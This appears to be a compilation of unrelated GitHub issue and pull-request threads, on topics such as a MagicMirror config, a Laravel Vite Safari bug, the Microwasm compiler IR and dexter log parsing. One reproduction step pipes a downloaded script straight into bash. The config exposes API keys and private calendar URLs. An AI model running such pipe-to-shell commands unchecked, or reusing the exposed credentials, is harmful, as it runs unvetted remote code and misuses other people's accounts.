	                      // - "localhost", "<IP_ADDRESS>", "::1" to listen on loopback interface
	                      // - another specific IPv4/6 to listen on a specific interface
	                      // - "", "<IP_ADDRESS>", "::" to listen on any interface
	                      // Default, when address config is left out, is "localhost"
	port: 8080,
	ipWhitelist: [], // Set [] to allow all IP addresses
	                                                       // or add a specific IPv4 of <IP_ADDRESS> :
	                                                       // ["<IP_ADDRESS>", "::ffff:<IP_ADDRESS>", "::1", "::ffff:<IP_ADDRESS>"],
	                                                       // or IPv4 range of <IP_ADDRESS> --> <IP_ADDRESS> use CIDR format :
	                                                       // ["<IP_ADDRESS>", "::ffff:<IP_ADDRESS>", "::1", "::ffff:<IP_ADDRESS>/28"],

	language: "en",
	timeFormat: 12,
	units: "metric",

	modules: [
		{
			module: "alert",
		},
		{
		  module: "MMM-Remote-Control-Repository",
		},
		{
			module: "clock",
			position: "top_left"
		},
		{
			module: 'MMM-COVID19',
				position: "middle_center",
				config: {
				  updateInterval: 300000,
				  worldStats: true,
				  countries: [ "China", "USA", "Italy", "UK", "Canada", "Norway", "Sweden", "Germany", "Brazil", "Taiwan" ],
				  headerRowClass: "small",
				  infoRowClass: "medium",
				  orderCountriesByName: false,
				  orderAscending: true,
				  lastUpdateInfo: true,
				  highlightCountry: "Canada",
				  delta: true, //new cases and new deaths
				  showExtraInfo: true,
				  rapidapiKey : "e8da6e71bcmsa586jsnea6ff6eb96b8" // this is an example, do not try to use it for real
				}
		},
		{
			module: "calendar",
			header: "Upcoming Events",
			position: "bottom_right",
			config: {
				colored: true,
				maximumEntries: 5,
				maxTitleLength: 25,
				fade: false,
				displaySymbol: true,
				maximumNumberOfDays: "14",
				calendars: [
					{
						maximumNumberOfDays: 14,
						symbol: "Cleaning",
						color: "#ffffff",
						url: "https://calendar.google.com/calendar/ical/yourhouse.gmail.com/private-69b6bd37705fa371daed31b164fac4fb/basic.ics"
											},
					{
						maximumNumberOfDays: 21,
						symbol: "holidays",
						color: "#009900",
						// blue is 0066CC
						url:"https://calendar.google.com/calendar/ical/en.canadian%23holiday%40group.v.calendar.google.com/public/basic.ics"
					},
					/*{
						maximumNumberOfDays: 21,
						symbol: "Jets",
						color: "#0066CC",
						// blue is 0066CC
						url: "https://calendar.google.com/calendar/ical/kfee01hah9dkuo73a5uc44e694%40group.calendar.google.com/private-42b2a18b0a430725ae4c324cce3ff057/basic.ics"
					},*/
					{
						maximumNumberOfDays: 21,
						symbol: "bombers",
						color: "#FFFF00",
						// blue is 0066CC
						url: "https://cfl.calreplyapp.com/cfl#Winnipeg%20Blue%20Bombers"
					}

				]

			}
		},
	{
		module: "MMM-Wallpaper",
    		position: "fullscreen_below",
    		config: {
			// See "Configuration options" for more information.
      			source: "bing",
      			slideInterval: 30 * 1000 // Change slides every minute
			}
  },

		{
			module: "currentweather",
			position: "top_right",
			config: {
				location: "Winnipeg",
				locationID: "6183235",  //ID from http://bulk.openweathermap.org/sample/; unzip the gz file and find your city
				appid: "7f7ccedab8bf65028f30066e5ed49eaa"
			}
		},
		/*{
			module: "weatherforecast",
			position: "top_right",
			header: "Weather Forecast",
			config: {
				location: "Winnipeg",
				locationID: "6183235",  //ID from https://openweathermap.org/city
				appid: "7f7ccedab0066e5ed49eaa"
			}
		},*/

		{
			module: "MMM-News",
			position: "bottom_left",
			config: {
				apiKey : "49ea266e63c9b2ad65c",
				drawInterval: 1000*20, // How long time each article will be shown
				type: "horizontal",
				touchable: false,
				query : [
					{
						sources: "cbc-news, google-news-ca, msnbc",
					},
					{
						country: "ca",
						className: "redTitle",
					},
				{
					country: "ca",
					category: "sports",
					q : "Winnipeg Jets"
				}
				],
			}
		},
	]

};

/*************** DO NOT EDIT THE LINE BELOW ***************/
if (typeof module !== "undefined") {module.exports = config;}

@Clifford10
I would suggest you to use
position: "top_left"  it will be under your clock module
or just
position: "bottom_center" (if you want it in the middle)

Thanks, I'll give that a try.

@MisterKurtz10 You shouldn't expose all your api keys to the world. ;)

I deleted about 15 characters from the middle of each of them.

I'm closing this issue due to inactivity. Hope the problem was solved


⚠ Processors has degraded performance

In 16ec86e, Processors ($STATUS_URL) experienced degraded performance:

HTTP code: 200
Response time: 47 ms

Resolved: Processors performance has improved in 8df9bb5.


Bad Url for Vite in Safari, page not loading

Laravel Vite Plugin Version:  vite v2.9.14
Laravel Version: Laravel v9.20.0
Node Version: v16.16.0
NPM Version: 8.14.0
Host operating system: macOS Monterey, MacBook Pro 16" M1 Pro
Web Browser & Version: Safari 15.5
Running in Sail / Docker: Sail

Description:
Default laravel page is not loading on Safari due an error:
[Error] Failed to load resource: bad URL (client, line 0) http://<IP_ADDRESS>:5173/@vite/client
[Error] Failed to load resource: bad URL (client, line 0) http://<IP_ADDRESS>:5173/resources/app.js

However, it works properly in firefox.

Steps To Reproduce:
Install fresh laravel app with sail
curl -s "https://laravel.build/test" | bash
Add laravel jetstream into it
composer require laravel/jetstream
Add Inertia
sail php artisan jetstream:install livewire
Run migrations
sail artisan migrate
Run NPM
sail npm run install
sail npm run dev
Visit http://localhost

@timacdonald have you seen this one?

Works fine for me in Safari:
<img width="1964" alt="Screenshot 2022-07-19 at 14 07 45" src="https://user-images.githubusercontent.com/594614/179746572-29c0f8e3-f745-4958-8b62-dc9d36ba5a73.png>
Please try a support channel:

Laracasts Forums
Laravel.io Forums
StackOverflow
Discord
Larachat
IRC

Thanks @driesvints seems it works for you.

@nezaboravi  I just came to post this haha, I'm seeing the same issue on a M1 MacBook Pro,  works fine in Chrome and Firefox but it seem Safari is ignoring <IP_ADDRESS> with the error "Bad URL"

Getting the same thing myself here. Anyone figure out a workaround and/or cause?


Typo "Azure function"→"Azure Function"

https://docs.microsoft.com/en-us/azure/azure-resource-manager/custom-providers/reference-custom-providers-csharp-endpoint

@hyoshioka0128 : Thanks for your contribution! The author(s) have been notified to review your proposed change.

@hyoshioka0128 : Thanks for your contribution! The author(s) have been notified to review your proposed change.

A nomenclature overhaul for Azure Functions references in this repo is underway internally. We won’t merge pull requests that make updates in this area at this time. Given that, we'll close this pull request. @hyoshioka0128 Thank you for your contribution to the documentation.

A nomenclature overhaul for Azure Functions references in this repo is underway internally. We won’t merge pull requests that make updates in this area at this time. Given that, we'll close this pull request. @hyoshioka0128 Thank you for your contribution to the documentation.


⭐ Only keep highest score in leaderboard

Is your feature request related to a problem? Please describe.
To add diversity in leaderboard; we should have one score per user.
Describe the solution you'd like
No solution yet, to think about
Additional context
Add any other context or screenshots about the feature request here.
That adds a lot of question

How do you deal with player identity?
How to scale leaderboard for a lot of players?
How do you deal when someone give his phone to a friend just for one game?

Won't get leaderboard anymore


Improve preferable methods cop

https://github.com/ignat-z/ducalis/blob/master/lib/ducalis/cops/preferable_methods.rb

Rewrite lambda for delete method, some kind of: "if there is no name suffix in calling variable name && arguments count <=1 &&  if argument exists it is a variable"
Add "dangerous" methods like  save(validate: false), update_attribute, update_column, update_columns and toggle, seems like they are pretty unique in Ruby scope.

[10:44:07]SyntaxError: /root/.gems/ruby/2.2.0/gems/ducalis-0.5.5/lib/ducalis/cops/preferable_methods.rb:12: syntax error, unexpected '.'
[10:44:07]      !%i(sym str).include?(args.first&.type) &&
[10:44:07]                                        ^
[10:44:07]  /root/.gems/ruby/2.2.0/gems/ducalis-0.5.5/lib/ducalis.rb:42:in `require'


Add support for overriding target frameworks.

This allows override the TargetFrameworks that Tommy uses, if you include the project itself in your solution, via adding something like this to a parent directory's Directory.Build.props:
<Project>
  <PropertyGroup>
    <Tommy_TargetFrameworksToBuild>net48</Tommy_TargetFrameworksToBuild>
    <TommyExtensions_TargetFrameworksToBuild>net48</TommyExtensions_TargetFrameworksToBuild>
    <TommyExtensionsConfiguration_TargetFrameworksToBuild>net48</TommyExtensionsConfiguration_TargetFrameworksToBuild>
  </PropertyGroup>
</Project>

For the main project, it will try:

Tommy_TargetFrameworksToBuild
TargetFrameworksToBuild

Otherwise defaults to the original TargetFrameworks.
For the extensions projects, it will try:

TommyExtensions_TargetFrameworksToBuild/TommyExtensionsConfiguration_TargetFrameworksToBuild
Tommy_TargetFrameworksToBuild
TargetFrameworksToBuild

Otherwise defaults to the original TargetFrameworks.

Seems fine by me, thanks!


deal with the last newline in the predictions for tagging tasks

@sebastianruder could you merge this PR before you run the evaluate.py script?

Thanks, Junjie! 👍


QnAMaker GenerateAnswer filters need to support OR operation.

Is your feature request related to a problem? Please describe.
QnAMaker GenerateAnswer Filters do not support "OR" operation for Join. They currently support AND operation.
QnAMaker GenerateAnswer API has been enhanced to provide choice to user for join condition. User can choose the Compound Operation for joining strictfilters a.k.a metadata. The values for the Compound Operation Type are 'AND' and 'OR'. The default behaviour is 'AND', to support backward compatibility.
Describe the solution you'd like
QnAMaker API has introduced support for "OR" operation. The feature needs to be implemented in SDKs.
Example: {
"question":"what is metadata",
"istest": false,
"top": 3,
"strictFilters": [
{
"name": "country",
"value": "in"
},
{
"name": "country",
"value": "us"
}],
"strictFiltersCompoundOperationType": "OR"
}
Response Body:
{
"answers": [
{
"questions": [
"what is metadata"
],
"answer": "It is interface to Azure Search filters",
"score": 100.0,
"id": 1,
"source": "Editorial",
"metadata": [
{
"name": "country",
"value": "in"
}
],
"context": {
"isContextOnly": false,
"prompts": []
}
}
]
}

#2718  for js implementation.


Unicorn HAT for Rasberry Pi B+

I am hoping you can give me some pointers for integrating Hyperion with the new Unicorn Hat from Pimoroni (http://shop.pimoroni.com/products/unicorn-hat). The drivers for it seem to be a fork of the [NeoPixel library] (https://github.com/626Pilot/RaspberryPi-NeoPixel-WS2812) and can be found here: https://github.com/pimoroni/UnicornHat
If you could point me in the right direction for integrating new hardware it would be hugely appreciated.

@scottsweb can be closed?

Sure thing, I never did get it working.


added ETCD policy

the documentation mentioned in readme recommends careful testing and give good explanation around that policy
the policy works and update the api-server object on a 4.5.7 Spoke

/assign @gparvin


Microwasm

This implements the "microwasm" MIR for lightbeam. An example of what this IR looks like is below (using straw-man text syntax).
Here's the Wasm for a simple fibonacci function (this was generated by Rustc):
(module
  (func $fib (param $p0 i32) (result i32)
    (local $l1 i32)
    (set_local $l1
      (i32.const 1))
    (block $B0
      (br_if $B0
        (i32.lt_u
          (get_local $p0)
          (i32.const 2)))
      (set_local $l1
        (i32.const 1))
      (loop $L1
        (set_local $l1
          (i32.add
            (call $fib
              (i32.add
                (get_local $p0)
                (i32.const -1)))
            (get_local $l1)))
        (br_if $L1
          (i32.gt_u
            (tee_local $p0
              (i32.add
                (get_local $p0)
                (i32.const -2)))
            (i32.const 1)))))
    (get_local $l1)))

Now here's that compiled to Microwasm. Note that this compilation is single-pass and streaming.
def .L1_end :: [i32, i32]
def .L2 :: [i32, i32] num_callers=1
def .L3 :: [i32, i32] has_backwards_callers
def .L3_end :: [i32, i32]
def .L4 :: [i32, i32] num_callers=1

.fn_0:
      const 0i32
      const 1i32
      swap 1
      drop
      pick 1
      const 2i32
      u32.lt
      br_if .L1_end, .L2
.L2:
      const 1i32
      swap 1
      drop
      br .L3
.L3:
      pick 1
      const -1i32
      i32.add
      call 0
      pick 1
      i32.add
      swap 1
      drop
      pick 1
      const -2i32
      i32.add
      swap 2
      const 1i32
      u32.gt
      br_if .L3, .L4
.L4:
      br .L1_end
.L1_end:
      pick 0
      br .return

To allow us to do streaming compilation, the "def" block type/metadata definitions seen at the top are actually interleaved with the rest of the assembly, but in the disassembly I put them at the top for clarity.
The main differences are:

No block returns - only calling a new block. Returning from the function is br .return. This simplifies a lot of the backend because now we only have to care about a single way of passing values and we have no callstack.
Raw labels instead of hierarchical blocks like Wasm - this allows us to represent any arbitrary CFG.
No locals - we have pick and swap instructions to emulate get_local and set_local/tee_local respectively. One nice side-effect of this is that the *_local functions become no-ops at runtime since pick and swap only affect the virtual stack.

Although the quality of code that we can produce in a streaming compiler is not improved by this PR since we're still working with the same source information, this does make it so that we can massively simplify the backend and therefore produce better code without making it unmaintainable. The Wasm->Microwasm compiler is simple (and I've realised some things that could make it simpler still but I haven't implemented them yet) and the Microwasm->native compiler is simple too. Deleting hundreds of lines of code related to locals and block returns was an extremely cathartic experience.
The improvement in output even before I start writing actual optimisations is incredible. Here's a simple Wasm function:
(module
  (func (param i32) (param i32) (result i32)
    get_local 1
    (block (result i32)
        get_local 0
        get_local 0
        br_if 0
        unreachable
    )
    i32.add
  )
)

Before Microwasm, this compiled to the following assembly:
  push  rbp
  mov   rbp, rsp
  sub   rsp, 0x18
  mov   rax, rsi
  test  eax, eax
  je    .L0
  mov   rax, rsi
  jmp   .L1
.L0:
  jmp   .L2
.L1:
  add   eax, edx
  mov   rsp, rbp
  pop   rbp
  ret
.L2:
  ud2

Even with Microwasm V1, the implementation of which is way simpler than the implementation that gave us the above code, we get vastly superior output:
  test  esi, esi
  mov   rax, rsi
  mov   rcx, rdx
  jne   .L0
  ud2
.L0:
  add   ecx, eax
  mov   rax, rcx
  ret

The two inefficiencies that I can see here:

add ecx, eax; mov rax, rcx instead of add eax, ecx. This is only avoidable with some kind of thunking system so we know which register we want to put the add result into (a thunking system would also allow us to emit lea instead of mov+add and 3-argument mul instead of mov+2-argument mul). I suggested implementing some kind of thunking system before but it was foiled by the complexities of integrating it with locals, so maybe it'd be something to look at now that locals are removed from the format. Probably the runtime cost is mitigated with register renaming.
Unnecessary duplication of rsi and rdx into temporary registers. This is avoidable, since we know that each of the then and else branches of the if are called precisely once each.

The most important things to implement to get us back to parity with the pre-microwasm implementation:

[x] calls (this requires spilling arguments to the stack)
[x] Blocks leaving some number of values on the stack when returning, like (block (result i32) (i32.const 1) (i32.const 1)). This is hard because these values to discard will be in the middle of the stack for us, we need to emit a series of swaps and drops.

UPDATE: Even with adding extremely basic optimisations we're now within ~10-20% of direct compilation to native performance for the following function:
fn fib(n: i32) -> i32 {
    if n == 0 || n == 1 {
        1
    } else {
        fib(n - 1) + fib(n - 2)
    }
}

The native optimised performance compared to the Rust->Wasm->Microwasm->native performance is below:
 name                        out.bench ns/iter  bench ns/iter  diff ns/iter  diff %  speedup
 tests::bench_fibonacci_run  21,835             24,878                3,043  13.94%   x 0.88

It's not clear for me whether the “microwasm format” is the same than the “wasm format”, i.e. if it is strictly a subset of Wasm without some constructions. Did I get it right?
If that's correct, then any compiler can produce a microwasm (wasm-compatible) binary, which will run on any runtimes. Is that correct?

I've now made an initial scan through the code, with a few comments inline, and one organizational issue here. My initial impression is that microwasm looks simple and flexible, and I'm interested to see where it goes.
This PR also removes the work-in-progress support for standard wasm, which is unfortunate. One of the things I think would be really valuable from microwasm is the ability to directly compare microwasm with wasm along various dimensions. Also, many potential Wasmtime users will need to support standard wasm for the foreseeable future. You're welcome to your own priorities, so I would just ask if it's at least feasible to organize the code such that standard wasm could be supported as an option, alongside microwasm, so that someone who wishes to work on the standard wasm support could do so.
Also, for the record, for anyone following along: I'm not necessarily endorsing microwasm at this time; for now, I myself am approaching this as an experiment where I'm interested in seeing the results.

Maybe it's not clear, but this absolutely does not drop support for Wasm. Right now Microwasm is just an MIR for Lightbeam. It does change the API of function_body to drop support for Wasm, but it's trivial to write a wrapper that consumes Wasm by passing it through MicrowasmConv (and in fact this is what the mock runtime that Lightbeam has for testing purposes does). I'll have to write a simple wrapper like this for integrating this version of the code with Wasmtime.

It's not clear for me whether the “microwasm format” is the same than the “wasm format”, i.e. if it is strictly a subset of Wasm minus some constructions. Did I get it right?
If that's correct, then any compiler can produce a microwasm (wasm-compatible) binary, which will run on any runtimes. Is that correct?

@Hywan The plan is that any compiler that can produce Wasm can ignore the fact that Microwasm exists entirely. The conversion to Microwasm is an implementation detail for now, simply a method to allow Lightbeam to reduce the complexity of the backend so we can implement new features such as floats and SSE without making either the code unmaintainable or the output low-quality. For example, before Microwasm it would have been untenably complex to implement incremental stack expansion, so that we can store volatile registers on the stack before calls etc. After the work was done to implement Microwasm, doing so was so simple that I implemented it in just an hour. Likewise for adding code to free up scratch registers if we run out - I haven't implemented it just yet because I don't have any code to test it on, but I already know how I would implement it if it became necessary. It also massively simplifies to handling of unreachable code - previously we'd generate unreachable assembly, now (AFAIK) we never do. It's not necessary for Microwasm to be binary-compatible with Wasm because Wasm can be converted to Microwasm on-the-fly with 0-element lookahead and minimal runtime cost.

It's not necessary for Microwasm to be binary-compatible with Wasm because Wasm can be converted to Microwasm on-the-fly with 0-element lookahead and minimal runtime cost.

OK, it's for internal usage only. Thanks for the clarification. However, how is the cost for 1Mb Wasm binary? The Microwasm equivalent would more or less be 1Mb in-memory, is that correct?
I'm wondering if Lightbeam could not a provide a tool to “compress” Wasm to Microwasm. This assumption holds if and only if Microwasm is binary-compatible with Wasm. And thus, under those conditions, if Microwasm should not be implemented in Walrus for instance. I'm thinking out loud. If Microwasm is for internal usage only, then this paragraph is pointless.

For now it's for internal use, but the intention is that eventually a compiler could produce Microwasm directly and Lightbeam could consume it - essentially making Lightbeam agnostic over Wasm or Microwasm. Currently there is no specified binary encoding for Microwasm, so it would be difficult to write a tool that outputs it to a file, but if and when we get to the point where we want tools like LLVM to output it then we'll have to start specifying it. Certainly the metadata (table, memory, type sections and the like) will be encoded identically to allow compilers with Wasm backends to reuse that infrastructure.
As for whether support should be implemented in other libraries - be my guest! Do be aware though that the format is in flux right now and it's unlikely to see support outside of Lightbeam until compilers start producing it directly - as a compiler IR it's quite constrained by the need to produce it on-the-fly. A non-streaming compiler like Cranelift or SpiderMonkey can use an IR that is less constrained and to my knowledge no other optimising streaming compilers exist.

OK. So Microwasm only exists in-memory, it's not intended to be written down in a binary file. Is that correct?

For now, yes, but we will have to specify a binary encoding eventually

Thanks for the clarification :+1:.

Talking with @Vurich, I realized that I misunderstood how the wasm -> microwasm translation was structured. wasm -> microwasm -> native code happens in a single pass, which is great. So merging this sounds good so we can iterate on trunk instead of in huge PR :-).

@Vurich, is there work going on anywhere to specify microwasm? i'm curious if there's more that can be done with it, some of the unnecessary performance limitations of webassembly are really irritating


Sync traffic management with updtream

Update traffic management, change translations of some sentences
Redirect some references to Chinese content

/approve
/lgtm

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: fleeto
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

content_zh/OWNERS [fleeto]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Support looping of a video without timestamps

The "repeat" parameter in the "play" definition is only working if "t" and "v" are defined. It would be good to have this working without timestamps - just loop the whole video.
Otherwise the requesting program first needs to parse the file to detect its length.

I can certainly see how that would be handy. For what it's worth, you can use the /media/... URL to get metadata about the file, including the length; you don't have to literally parse it yourself. (https://github.com/egnor/pivid/blob/main/doc/protocol.md#get-mediafile---fetch-media-file-metadata)
In the general case one might want to do various things based on the media length, but it might be worth adding some direct support for the simple common cases that don't require the app making a separate request to load media metadata.


Fetch labels for bigquery dataset/table

Summary
BigQuery dataset/table has some metadata that hasn't been fetched into guardian resource details. We want to fetch them and store them in the resource details for some use case such as determining the dataset/table owner and pii flag
Proposed solution
add metadata field within details:
// resource
{
  "id": "",
  ...
  "details": {
+    "metadata": {
+      "labels": {
+        "key": "value"
+      },
+.     "other_metadata": ""
+    }
  }
}

Other requirements:

In the updateResource API, metadata field should not be updateable by the user. It only can be updated from FetchResource

@rahmatrhd couple of questions on this -

Will this fetch all labels for a bigquery dataset/table or only specific configurable labels only?
Is this specific to only bigquery resources?

@bsushmith

It should fetch all labels (no configuration needed)
For this, I'm setting the scope only for bq resources. If we later need to add metadata for other provider resources, maybe having a dedicated metadata column would be better


fix default extension not being .rb on create

Description of change and why it was needed here

[] The build passes
[] TSLint is mostly happy
[] Prettier has been run

笑った．それはそう


Setting simvar value in event_press condition

Hello, is setting simvar values supported in event_press conditions?
I'm trying to create a COM swap button as follows:
    {
      "index": 6,
      "event_press": {
        "type": "condition",
        "event": [ "{% if data.get_simvar_value('SWAP_COM') == 1.0 %}",
                  "{{ data.trigger_event('COM_STBY_RADIO_SWAP', 1.0) }}",
                  "{{ data.set_simvar_value('SWAP_COM', 0.0) }}",
                "{% else %}",
                  "{{ data.trigger_event('COM2_RADIO_SWAP', 1.0) }}",
                  "{{ data.set_simvar_value('SWAP_COM', 1.0) }}",
                "{% endif %}" ],
        "description": "Swap COM"
      }

But set_simvar_value does not seem to work. Any ideas?

set and get _simvar_value value will only work on existing simvars which can be found here: https://github.com/odwdinc/Python-SimConnect/blob/master/SimConnect/RequestList.py
I'm guessing you want to use SWAP_COM as a temp variable?

Ah I see... Is there any way to support defining new simvars? It looks like you are already be defining vars in _deff_test?
If not, is there any way to store state in the key bindings, without reusing an existing simvar?

You could try to just create a new variable in the data object. The data object is of the type ConditionalRunner https://github.com/maartentamboer/X-Touch-Mini-FS2020/blob/main/conditionalrunner.py#L9
Since Python is fairly flexible regarding the handling of objects you could probably add a variable to that conditionalrunner instance.
So perhaps something like data.my_var_name = 1.0 could work
Otherwise I will implement a new feature which will enable a global variable storage

I understand. I will try setting a value on the data object.
Yes, something like "set_localvar_value" would be a nice feature :-)

I tried setting a variable directly on the data member but it did not work (Python error). Looks like a local/global variable set/get feature might be required for more complex behaviors.

I tried setting a variable directly on the data member but it did not work (Python error). Looks like a local/global variable set/get feature might be required for more complex behaviors.

Sounds like a good feature, I'll hopefully have some time next weekend to implement this

Sounds like a good feature, I'll hopefully have some time next weekend to implement this

@maartentamboer If you're looking for contributors, I'd be happy to take a stab at this. Seems like a simple method on the ConditionalRunner should handle it. Otherwise good luck & thanks!

@maartentamboer If you're looking for contributors, I'd be happy to take a stab at this. Seems like a simple method on the ConditionalRunner should handle it. Otherwise good luck & thanks!

Contributors are always welcome 👍 feel free to make a PR anytime
PR https://github.com/maartentamboer/X-Touch-Mini-FS2020/pull/23 has support for this feature. I will close this issue once a new release is made.
I've updated your proposal from the opening post so it works in this new feature.
    {
      "index": 16,
      "event_press": {
        "type": "condition",
        "event": [ "{% if data.get_global_variable('SWAP_COM') == true %}",
                     "{{ data.print('COM_STBY_RADIO_SWAP') }}",
                     "{{ data.trigger_event('COM_STBY_RADIO_SWAP', 1.0) }}",
                     "{{ data.set_global_variable('SWAP_COM', false) }}",
                   "{% else %}",
                     "{{ data.print('COM2_RADIO_SWAP') }}",
                     "{{ data.trigger_event('COM2_RADIO_SWAP', 1.0) }}",
                     "{{ data.set_global_variable('SWAP_COM', true) }}",
                   "{% endif %}" ],
        "description": "Swap COM"
      }

data.get_global_variable(key): Get a global variable value based on a key
data.set_global_variable(key, value): Set a global variable to a value
data.print(data): Print something in the console

Fixed in the latest release https://github.com/maartentamboer/X-Touch-Mini-FS2020/releases/tag/v1.1.0


Fix some k8s_auth errors

Add directions to README.md to fix k8s_auth absence.
Fix K8S_AUTH_KUBECONFIG to be set automatically
Empty inventory file.

https://issues.redhat.com/browse/MGMT-14459
https://issues.redhat.com/browse/MGMT-14459
https://issues.redhat.com/browse/MGMT-14460

/lgtm


chore: upgrade shrinkwrap

This upgrades the shrinkwrap file.
This just updates dependencies, as I believe some of those updates might be currently making the tests fail.

For us to review and ship your PR efficiently, please perform the following steps:

[x] Open a bug/issue before writing your code 🧑💻. This ensures we can discuss the changes and get feedback from everyone that should be involved.
[x] Read the contribution guidelines 📖. This ensures your code follows our style guide and
passes our tests.
[x] Update or add tests (if any source code was changed or added) 🧪
[x] Update or add documentation (if features were changed or added) 📝
[x] Make sure the status checks below are successful ✅

@eduardoboucas It seems like some dependency update is making Functions serving fail. Do you know what this might be?

Closing this as I was able to get https://github.com/netlify/cli/pull/4501 working without updating the entire shrinkwrap file (by uninstalling and re-installing @netlify/eslint-config-node).
I suspect we'll hit the failing tests once the specific dependency that's causing the failure gets updated.


Build tooling to wrap up a Swift library for use in Java

The jextract-swift tool emits Java sources that wrap a Swift library for use in Java. We should make this use case as easy as possible, e.g., something that can integrate with a SwiftPM build (to build the Swift parts), create the corresponding Java wrappers, and integrate that into a Java build. Whether this is creating a standalone Jar file or integrating into Gradle/Maven is not yet clear.
Note that jextract-swift is very likely to need to generate some Swift glue code as well, which might itself need to be built with SwiftPM, so we'll need to account for that in the design.

When we get to this, @simonjbeaumont has some prior experience on packaging up native libs in a jar so we can check in for some prior work he did on such.


CI: fix storage collision workflows

Right now the following storage collision related workflows are failing with the same error Error reading JToken from JsonReader. Path '', line 0, ...:

https://github.com/ubiquity/ubiquity-dollar/actions/runs/9641086348/workflow
https://github.com/ubiquity/ubiquity-dollar/actions/runs/9641086347/workflow

What should be done:

fix CI errors for both of the workflows

@gitcoindev FYI

I am on it, will try to find the root cause and solve it by tomorrow.

/start


[VS Code] Sharing workspace: Already connected to a workspace.

After sharing connection, the extension UI is not switched to Participants List and it's still stay at join and start list

Thanks for the feedback, we will try to reproduce the issue. If you have any sequence of specific steps we need to take when sharing, please let us know. (Including how the share was performed - command palette, status bar or viewlet)

Consolidating with https://github.com/MicrosoftDocs/live-share/issues/1123. If you have logs or additional information, please add to that issue.


Advantages of differentiable analyses

One great aspect of a differentiable analysis workflow is that it allows to use gradient-based methods to optimize the analysis. This might mean for example optimizing a jet pT cut to minimize the uncertainty of a parameter of interest.
There are likely other interesting things that become possible with differentiable workflows. It is worth thinking about what might specifically be useful for HEP.
An example might be the following: An analysis observes a mis-modelling in the form of a slope in the ratio of data vs model prediction as a function of jet pT. A question might be "is this related to the high lepton pT cut we apply?". This could be studied by scanning over lepton pT cuts and evaluating the data / model slope, or more efficiently by evaluating the gradient wrt. the lepton pT cut.
It would be especially interesting if it turns out that there are things that only become possible with a differentiable workflow (maybe when brute-force parameter scans would be computationally prohibitive).

In that case, one can replace the Heaviside function (associated with the jet pT cut) with a smooth approximation and then use automatic differentiation provided everything is differentiable.

Interesting idea using the gradients to obtain information to evaluate data-model issues.
I think other advantages of a framework for differentiable analysis built upon modern numerical autodiff frameworks that are not directly related with gradients are much faster and portable forward analysis passes and iteration (even possibly in the GPU o TPU), so more brute-force scans are possible. Also more flexibility to construct arbitrary workflows.

Moreover, it will then be possible to optimize the program in a portable high level differentiable intermediate representation and then deploy that onto different hardware backends such as GPU and TPU (see TVM). For reference, here are some old slides on deep learning compilers.

In that case, one can replace the Heaviside function (associated with the jet pT cut) with a smooth approximation and then use automatic differentiation provided everything is differentiable.

I might be missing something @signorgelato but how would a smooth selection cut working in practice? Presumably the outcome is Boolean, e.g. accept the jet or reject it. I guess one could float the position and scale of a sigmoid and throw a random number per jet and accept the jet if the number is less than the associated value of the sigmoid for that jet's pT. Or perhaps accept all the jets but multiply the associated weights by the sigmoid values (but this could later cause problems with selections based on object multiplicity).

An object multiplicity selection might be replaced by something fuzzy like an extra weight taken from a Gaussian centered around the desired multiplicity. The object multiplicity per event could be a weighted sum of objects, with a smoothly varying weight.
This approach can introduce a lot of very small numbers through weights, which might lead to floating point issues.

Yeah, these are potentially things that we can try. Is there some concrete example that you all have in mind we can try now?

Possibly. We have some MC samples (AMVA4NP's summer 2016 Delphes production (hh->bbtautau, hh->bbbb, QCD, & ttbar, O(1e7) events each)). Generally hh searches work best with a selection as open as possible; any cuts to basic objects are out of necessity (e.g. trigger thresholds). That said, normally one would cut on the Higgs masses (either mass-windows, or a 2D ellipse). However, the minimum cut is dictated by data/MC agreement, which we can't test for these samples, generally I find that cutting isn't really necessary, and at least for the hh->bbtautau search the performance is already quite high.
Selection for the hh->bbtautau normally uses a harsh veto on extra leptons, so perhaps this could be an interesting test for differentiable multiplicity selection. This veto, though, is designed to reduce Drell-Yan contributions, so we'd need to generate DY samples to fully study this.
Another potential use, could be b-jet assignment in hh->bbbb (matching reco b-jets to Higgs candidates). Maybe @pablodecm could comment more the feasibility of this study.


Dexter don't detect anything

Running dexter over my database (PostgreSQL 11.2) doesn't seems to detect anything, passing by the logs or by pg_stat_activity. No errors though, just wont detect anything at all...
(motherbase) [marc@marcbook backend]$ dexter -U postgres -d motherbase --pg-stat-activity --log-level debug2 --analyze
Started
Processing 0 new query fingerprints
Processing 0 new query fingerprints
Processing 0 new query fingerprints
Processing 0 new query fingerprints
Processing 0 new query fingerprints

whereas my logs looks like the following:
2019-04-10 15:42:10.571 CEST [32086] LOG:  durée : 27696.749 ms, instruction : SELECT DISTINCT "generic_company"."id"
	FROM "generic_startup"
	LEFT OUTER JOIN "cse_cse" ON ("generic_startup"."company_ptr_id" = "cse_cse"."startup_id")
	INNER JOIN "cse_cse" T4 ON ("generic_startup"."company_ptr_id" = T4."startup_id")
	INNER JOIN "generic_company" ON ("generic_startup"."company_ptr_id" = "generic_company"."id")
	INNER JOIN "generic_startup_entities" ON ("generic_startup"."company_ptr_id" = "generic_startup_entities"."startup_id")
	WHERE (
		T4."corporate_id" IN (
			-- SELECT U0."company_ptr_id" FROM "generic_corporate" U0 WHERE U0."company_ptr_id" IN (
				20112, 20120, 20113, 20117, 20119, 20121, 20115, 20111, 20118, 20116, 20114
			-- )
		)
		AND NOT (
			"generic_startup"."company_ptr_id" IN (
				SELECT U1."startup_id" FROM "cse_cse" U1 WHERE U1."valid" = false
			)
		)
		AND "generic_startup_entities"."entity_id" IN (
			SELECT U0."id" FROM "generic_entity" U0 WHERE U0."id" IN (3)
		)
	)
	GROUP BY "generic_company"."id", "generic_startup"."company_ptr_id"

Hey @debnet, the regex used for log parsing only checks for English messages (it expects lc_messages to be  en_US.UTF-8).
https://github.com/ankane/dexter/blob/cfd3af85eff3cd48801b87f4c4df8cc104aaaf7d/lib/dexter/log_parser.rb#L5
You can try piping the file through sed to get it to match the expected format.
LOG:  duration: 2051.529 ms  statement: SELECT 123...

Oh, OK. Good to know, an addition of that point into the documentation could be handy for the others. ;)


Remove period after home directory command

Make it easier to copy and paste the CHGUSRPRF command by removing the period after it. First time I pasted the command, it included the period and didn't work. (Very helpful message, incidentally!)
You can see how the period would end up copy/pasted accidentally.

Changes
Description of change here.
Checklist

[ ] have tested my change
[ ] updated relevant documentation
